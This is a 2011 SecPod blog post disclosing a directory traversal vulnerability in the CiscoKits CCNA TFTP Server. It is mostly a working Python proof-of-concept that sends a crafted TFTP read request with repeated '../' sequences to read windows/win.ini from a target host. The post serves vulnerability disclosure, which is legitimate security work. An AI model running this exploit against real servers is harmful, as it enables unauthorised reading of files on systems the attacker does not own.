SecPod

Learn Search

Search across all Learn content

← Back to Security Research

CiscoKits TFTP Server Directory Traversal Vulnerability

SecPod Research Team member (Antu Sanadi) has found a Directory Traversal vulnerability in CiscoKits CCNA TFTP Server. The vulnerability is caused due to improper validation of ‘Read’ request containing ‘../’ sequences. The flaw can be exploited to read arbitrary files via directory traversal attack...

Aug 3, 2011By Veerendra GG2 min read

SecPod Research Team member (Antu Sanadi) has found a Directory Traversal vulnerability in CiscoKits CCNA TFTP Server. The vulnerability is caused due to improper validation of ‘Read’ request containing ‘../’ sequences. The flaw can be exploited to read arbitrary files via directory traversal attacks.

POC : Download here.

More information on the flaws can be found here.

plaintext

#!/usr/bin/python
##############################################################################
# Title     : CiscoKits TFTP Server Directory Traversal Vulnerability
# Author    : Antu Sanadi from SecPod Technologies (www.secpod.com)
# Vendor    : http://www.certificationkits.com/cisco-ccna-tftp-server/
# Advisory  : https://www.secpod.com/blog/?p=301
#             http://secpod.org/SECPOD_CiscoKits_TFTP_Server_Dir_Trav_POC.py
#             http://secpod.org/advisories/SECPOD_CiscoKits_TFTP_Server_Dir_Trav.txt
# Version   : CiscoKits CCNA TFTP Server 1.0.0.0
# Date      : 21/07/2011
##############################################################################
import sys, socket

def sendPacket(HOST, PORT, data):
    '''
    Sends UDP Data to a Particular Host on a Specified Port
    with a Given Data and Return the Response
    '''
    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_sock.sendto(data, (HOST, PORT))
    data = udp_sock.recv(1024)
    udp_sock.close()
    return data

if __name__ == "__main__":

    if len(sys.argv) < 2:
        print "\tUsage: python exploit.py target_ip"
        print "\tExample : python exploit.py 127.0.0.1"
        print "\tExiting..."
        sys.exit(0)

    HOST = sys.argv[1]                        ## The Server IP
    PORT = 69                                 ## Default TFTP port

    data = "\x00\x01"                         ## TFTP Read Request
    data += "../" * 10 + "windows/win.ini" + "\x00"  ## Read boot.ini file using directory traversal
    data += "netascii\x00"                    ## TFTP Type

    # netascii
    rec_data = sendPacket(HOST, PORT, data)
    print "Data Found on the target : %s " %(HOST)
    print rec_data.strip()

Welcome any feedback or suggestion.
Cheers!
SecPod Research Team

Featured Posts

Open One Request, Total Persistence: Inside the SharePoint Flaw Attackers Are Exploiting
One Request, Total Persistence: Inside the SharePoint Flaw Attackers Are Exploiting

CVE Research

One Request, Total Persistence: Inside the SharePoint Flaw Attackers Are Exploiting

A critical SharePoint deserialization flaw, CVE-2026-50522 (CVSS 9.8), is under active exploitation just weeks after its July 2026 patch, following a public PoC. Attackers are using it to steal IIS machine keys in a single request, gaining persistence that survives patching alone. Now on CISA's KEV list, it's the third actively exploited SharePoint flaw in recent months, patch immediately and rotate machine keys.

Jul 24, 2026

Open ENCFORGE Ransomware: Anatomy of an AI-Focused Cyber Attack
ENCFORGE Ransomware: Anatomy of an AI-Focused Cyber Attack

CVE Research

ENCFORGE Ransomware: Anatomy of an AI-Focused Cyber Attack

Jul 22, 2026

Open UTA0533 Weaponizes KNUCKLEBALL: Inside the SonicWall SMA Zero-Day Exploitation Chain
UTA0533 Weaponizes KNUCKLEBALL: Inside the SonicWall SMA Zero-Day Exploitation Chain

CVE Research

UTA0533 Weaponizes KNUCKLEBALL: Inside the SonicWall SMA Zero-Day Exploitation Chain

Jul 20, 2026

Open One Email, Full Session Takeover: Inside Zimbra's Critical Classic Web Client Code Execution Flaw
One Email, Full Session Takeover: Inside Zimbra's Critical Classic Web Client Code Execution Flaw

CVE Research

One Email, Full Session Takeover: Inside Zimbra's Critical Classic Web Client Code Execution Flaw

Jul 20, 2026

CiscoKits TFTP Server Directory Traversal Vulnerability | SecPod